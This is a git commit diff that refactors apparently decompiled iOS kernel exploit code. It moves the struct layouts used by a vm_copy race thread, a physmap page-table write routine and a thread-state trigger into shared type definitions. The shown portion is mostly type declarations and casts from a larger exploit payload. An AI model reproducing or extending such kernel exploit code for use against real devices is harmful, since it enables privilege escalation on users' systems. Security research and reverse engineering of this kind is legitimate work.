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Consolidate vmcopy block layouts

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khanhduytran0
2026-06-17 09:49:14 +07:00
parent f2361022bd
commit 9eb2245d41
1 changed files with 49 additions and 89 deletions
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src/payload_377bed/entry1_type0x09_iogpu_physmap_engine.inc
+49 -89
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@@ -111,6 +111,49 @@ typedef struct EntitlementIokitThreadArg
int status;
} EntitlementIokitThreadArg;
typedef struct VmcopyRaceThreadBlock
{
uint64_t isa;
uint64_t flags;
void *invoke;
void *descriptor;
__int64 *state;
thread_act_t *targetThread;
void *threadList;
semaphore_t readySemaphore;
semaphore_t resumeSemaphore;
} VmcopyRaceThreadBlock;
typedef struct VmcopyWritePhysmapBlock
{
uint64_t isa;
uint64_t flags;
__int64 (__fastcall *invoke)(__int64, unsigned __int8);
void *descriptor;
__int64 ctx;
__int64 kaddr;
unsigned __int64 pteIndex;
unsigned __int64 pteAddr;
unsigned __int64 pageTableBase;
vm_size_t size;
__int64 savedNext;
__int64 savedPrev;
int pageShift;
mem_entry_name_port_t objectHandle;
} VmcopyWritePhysmapBlock;
typedef struct VmcopyTriggerThreadBlock
{
uint64_t isa;
uint64_t flags;
void *invoke;
void *descriptor;
__int64 ctx;
__int64 *state;
semaphore_t readySemaphore;
semaphore_t resumeSemaphore;
} VmcopyTriggerThreadBlock;
static inline void vmcopy_patch_memory_entry_page(__int64 kreadCtx, __int64 pageInfoKaddr, uint32_t ppnum, __int128 scratch[2])
{
memset(scratch, 0, 32);
@@ -7680,46 +7723,6 @@ __int64 __fastcall call_vtable_ptr_slot2(__int64 a1)
//----- (00000000000111C0) ----------------------------------------------------
__int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct)
{
struct vmcopy_race_thread_block
{
uint64_t isa;
uint64_t flags;
void *invoke;
void *descriptor;
__int64 *state;
thread_act_t *targetThread;
__int128 *threadList;
semaphore_t readySemaphore;
semaphore_t resumeSemaphore;
};
struct vmcopy_write_physmap_block
{
uint64_t isa;
uint64_t flags;
__int64 (__fastcall *invoke)(__int64, unsigned __int8);
void *descriptor;
__int64 ctx;
__int64 kaddr;
unsigned __int64 pteIndex;
unsigned __int64 pteAddr;
unsigned __int64 pageTableBase;
vm_size_t size;
__int64 savedNext;
__int64 savedPrev;
int pageShift;
mem_entry_name_port_t objectHandle;
};
struct vmcopy_trigger_thread_block
{
uint64_t isa;
uint64_t flags;
void *invoke;
void *descriptor;
__int64 ctx;
__int64 *state;
semaphore_t readySemaphore;
semaphore_t resumeSemaphore;
};
__int64 *v2; // x20
unsigned __int64 v3; // x24
__int64 v4; // x0
@@ -7825,12 +7828,12 @@ __int64 __fastcall exploit_thread_vmcopy_race(__int64 someStruct)
vm_offset_t v108; // [xsp+F0h] [xbp-610h]
unsigned __int64 v109; // [xsp+F8h] [xbp-608h]
vm_address_t v110; // [xsp+100h] [xbp-600h] BYREF
struct vmcopy_trigger_thread_block triggerThreadBlock; // [xsp+108h] [xbp-5F8h] BYREF
VmcopyTriggerThreadBlock triggerThreadBlock; // [xsp+108h] [xbp-5F8h] BYREF
natural_t suspendedThreadState[0x44]; // [xsp+140h] [xbp-5C0h] BYREF
struct vmcopy_write_physmap_block writePhysmapBlock; // [xsp+250h] [xbp-4B0h] BYREF
VmcopyWritePhysmapBlock writePhysmapBlock; // [xsp+250h] [xbp-4B0h] BYREF
vm_address_t v144; // [xsp+2B8h] [xbp-448h] BYREF
integer_t policy_info[4]; // [xsp+2C0h] [xbp-440h] BYREF
struct vmcopy_race_thread_block raceThreadBlock; // [xsp+2D0h] [xbp-430h] BYREF
VmcopyRaceThreadBlock raceThreadBlock; // [xsp+2D0h] [xbp-430h] BYREF
pthread_t v149; // [xsp+310h] [xbp-3F0h] BYREF
__int64 v150; // [xsp+318h] [xbp-3E8h] BYREF
vm_address_t v151; // [xsp+320h] [xbp-3E0h] BYREF
@@ -8285,53 +8288,10 @@ LABEL_68:
return 0;
}
struct vmcopy_race_thread_block_ref
{
uint64_t isa;
uint64_t flags;
void *invoke;
void *descriptor;
__int64 *state;
thread_act_t *targetThread;
thread_act_t *threadList;
semaphore_t readySemaphore;
semaphore_t resumeSemaphore;
};
struct vmcopy_write_physmap_block_ref
{
uint64_t isa;
uint64_t flags;
__int64 (__fastcall *invoke)(__int64, unsigned __int8);
void *descriptor;
__int64 ctx;
__int64 kaddr;
unsigned __int64 pteIndex;
unsigned __int64 pteAddr;
unsigned __int64 pageTableBase;
vm_size_t size;
__int64 savedNext;
__int64 savedPrev;
int pageShift;
mem_entry_name_port_t objectHandle;
};
struct vmcopy_trigger_thread_block_ref
{
uint64_t isa;
uint64_t flags;
void *invoke;
void *descriptor;
__int64 ctx;
__int64 *state;
semaphore_t readySemaphore;
semaphore_t resumeSemaphore;
};
//----- (00000000000125E4) ----------------------------------------------------
__int64 __fastcall run_exploit_thread(__int64 a1)
{
struct vmcopy_race_thread_block_ref *block = (struct vmcopy_race_thread_block_ref *)a1;
VmcopyRaceThreadBlock *block = (VmcopyRaceThreadBlock *)a1;
__int64 result = 0;
// Paired with the main race loop: wait until the parent has primed the
@@ -8350,7 +8310,7 @@ __int64 __fastcall run_exploit_thread(__int64 a1)
//----- (0000000000012678) ----------------------------------------------------
__int64 __fastcall write_kaddr_to_physmap(__int64 a1, unsigned __int8 a2)
{
struct vmcopy_write_physmap_block_ref *block = (struct vmcopy_write_physmap_block_ref *)a1;
VmcopyWritePhysmapBlock *block = (VmcopyWritePhysmapBlock *)a1;
__int64 ctx; // x21
__int64 pageIndex; // x8
mem_entry_name_port_t object_handle; // [xsp+Ch] [xbp-24h] BYREF
@@ -8377,7 +8337,7 @@ __int64 __fastcall write_kaddr_to_physmap(__int64 a1, unsigned __int8 a2)
//----- (0000000000012754) ----------------------------------------------------
__int64 __fastcall trigger_thread_state_mod(__int64 a1)
{
struct vmcopy_trigger_thread_block_ref *block = (struct vmcopy_trigger_thread_block_ref *)a1;
VmcopyTriggerThreadBlock *block = (VmcopyTriggerThreadBlock *)a1;
__int64 ctx; // x20
thread_act_t targetThread; // w0